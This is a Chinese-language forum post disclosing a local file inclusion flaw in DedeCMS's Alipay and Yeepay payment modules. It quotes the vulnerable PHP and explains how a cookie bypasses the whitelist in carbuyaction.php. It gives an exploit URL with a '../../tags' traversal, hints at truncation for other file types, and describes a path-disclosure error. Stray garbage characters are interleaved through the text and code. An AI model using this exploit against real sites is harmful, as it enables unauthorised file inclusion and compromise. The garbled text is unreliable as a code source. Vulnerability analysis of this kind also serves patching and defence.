晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)$ e# e2 u& o7 T# [2 X
5 e7 ^5 a5 d5 n6 g
出现漏洞的两个文件为:
1 N$ u: t) r/ H- eInclude/payment/alipay.php
; x0 C) ~" P& hInclude/payment/yeepay.php
W/ m ]: E. a m0 c$ f漏洞均出现在respond方法里,估计这两个文件是临时工写的。% }+ I" j* G8 ?
8 v. ~& `6 y$ P+ i7 w
Include/payment/alipay.php
( ?& y# I1 H+ X x$ E" Q: B' F: d
......% s1 s' w9 @- [4 }: v
function respond()8 L+ t& w/ v0 m& k" Z" a( g
{2 @4 E( P3 I$ \! e
if (!empty($_POST))
4 f" o$ J0 ]! C( e {
$ B* G. t; @2 B7 x, ~/ l4 D foreach($_POST as $key => $data)
+ i# z! b6 r I& [: j l `. M {$ t* L' b/ y8 n4 k' i, G4 r: H
$_GET[$key] = $data;
+ l! M' t0 f- A+ j9 X$ z' B }
. A [. ]% Y' J6 d& d }
) q, _& y6 V2 ]3 e, t /* 引入配置文件 */
2 j! w- w& h2 n8 R% m require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';9 K, V6 N3 ~' ~- A
...... 7 z0 ?; E# y& h% r6 m
5 Y1 Y8 K5 r9 N7 I* M& t' c0 Q
0 [9 n$ V7 B. @8 @) S* p9 A# v大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。0 Y% K' N6 w- t
. [$ D* {2 e) J5 L. `5 J
Include/payment/yeepay.php
) m* y& J! f9 o+ {" r+ b: m* \& C& w# ^% P a
1 m$ r; p/ |" X" z
3 n* `* L$ I8 o# t2 z1 W& u8 I' d......
# Z0 ?5 r) |9 r* Q ~ function respond()' e" N: S( j& w( v
{
! T; _4 O" x: ]9 K1 J 4 s' g; N6 L1 |% N" r6 d
/* 引入配置文件 */5 W3 R+ ?; c2 [7 _: }% v- ]
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';; v9 f( X+ S2 D) [7 @ d
4 Z2 j) i9 \' i: Q
$p1_MerId = trim($payment['yp_account']);7 Y7 q4 Y" w! L7 N' U) z ^/ T
$merchantKey = trim($payment['yp_key']);
! c; z: z: q; \...... 0 D( H) H4 u3 O. C! K" M7 e
" W8 P& W. B; X7 _# d+ D" G
* @& U1 V0 U( b6 f! t5 C3 O
! c" W( G) T5 q/ p( u
7 _: Z8 G& `" L) |+ W6 x3 R5 c大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。3 L |8 g8 l* w- p
8 s( t4 M; h& U
这两个方法在plus/carbuyaction.php文件调用。
+ }, x4 A: |, h# U/ H3 t! n0 ^& \0 ]* `
plus/carbuyaction.php
# `; G* C1 q. E% o, I @, }( d) z+ [6 e
......
% D6 s% a4 i% o5 f6 u} else if ($dopost == 'return') {
' _6 B, D& {" A$ o) V $write_list = array('alipay', 'bank', 'cod', 'yeepay');7 i/ g' j$ i% q, j+ @4 P: ?
if (in_array($code, $write_list))
& x" J/ [, F4 ` B d {
% B; i8 i p: [9 L& | require_once DEDEINC.'/payment/'.$code.'.php';
/ A9 S: o, e+ t( j; ]+ v $pay = new $code;. A* g! K. I/ V8 ~1 ]
$msg=$pay->respond();
- I9 h+ `' b! t5 W, a2 B6 j3 Z ShowMsg($msg, "javascript:;", 0, 3000);
4 G5 V; D# n2 S& N) z* R exit();
3 [8 H3 H( p0 e5 m } else {
8 R, ]+ l' ~, j0 q exit('Error:File Type Can\'t Recognized!');
7 x+ @- p4 U7 U7 C, u8 N4 J- ?1 T }
+ F% \( n9 i( |* K5 s! `}! ]. D+ b/ D+ k6 X
......
3 h& f: A3 j$ l3 _0 B9 w. X ) N- C. _: G9 {7 k% y$ j
! J+ F+ |& S" \8 D6 y/ [
- D1 E$ i9 {; c8 p7 ~
% K2 b: n/ Y5 m% x+ h* ?
; Y5 O9 k& R# e1 p% o3 P1 f9 X, G( w8 Y& W- N# S# v- B, }
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。2 Y# E/ r5 E; _
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
) l4 R% O; Y' R W/ J
$ M9 r/ P4 ^) V! x回到include/common.inc.php来看看他的机制。
& `1 H2 m' Z# y2 ^! X3 ?) t+ }: D4 k/ D) i
/ }! k+ \" z) c* x* z8 Q/ K
- F" y/ m2 k' C. m
......) O8 _+ H. l1 K; r
foreach(Array('_GET','_POST','_COOKIE') as $_request)
3 ~" a' l$ q" g- |{2 _1 q- ?/ r* g& P9 G
foreach($$_request as $_k => $_v)
$ i" h; a0 Q* \& B! ^ {
2 b% E! o% ~- f5 G if($_k == 'nvarname') ${$_k} = $_v;
8 a% o8 {/ Q& Q, U else ${$_k} = _RunMagicQuotes($_v);
& }1 ^) I0 N, I# F5 s }5 g! Z- J% h2 o
}
6 g, K u+ x0 `( V, U3 G& _...... * @2 i7 S V u% C$ Q4 i X; V% m B
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:. I) F# p9 r+ K1 u+ f- O
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |